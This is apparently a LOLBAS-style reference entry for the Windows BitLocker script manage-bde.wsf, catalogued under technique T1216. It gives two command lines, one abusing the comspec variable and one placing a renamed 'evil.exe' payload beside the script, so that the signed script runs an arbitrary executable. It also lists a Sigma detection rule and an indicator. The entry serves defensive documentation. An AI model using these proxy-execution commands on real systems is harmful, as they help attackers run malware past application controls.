Manage-bde.wsf

type: OSScripts

Script for managing BitLocker

Full path

C:\Windows\System32\manage-bde.wsf

Commands

ExecuteUser T1216
Proxy execution from script
```
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
```
Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: EXE
ExecuteUser T1216
Proxy execution from script
```
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
```
Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: EXE

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml
IOCManage-bde.wsf should not be invoked by a standard user under normal situations

Resources

acknowledgement: Jimmy @bohops, Daniel Bohannon @danielbohannon, John Lambert @JohnLaTwC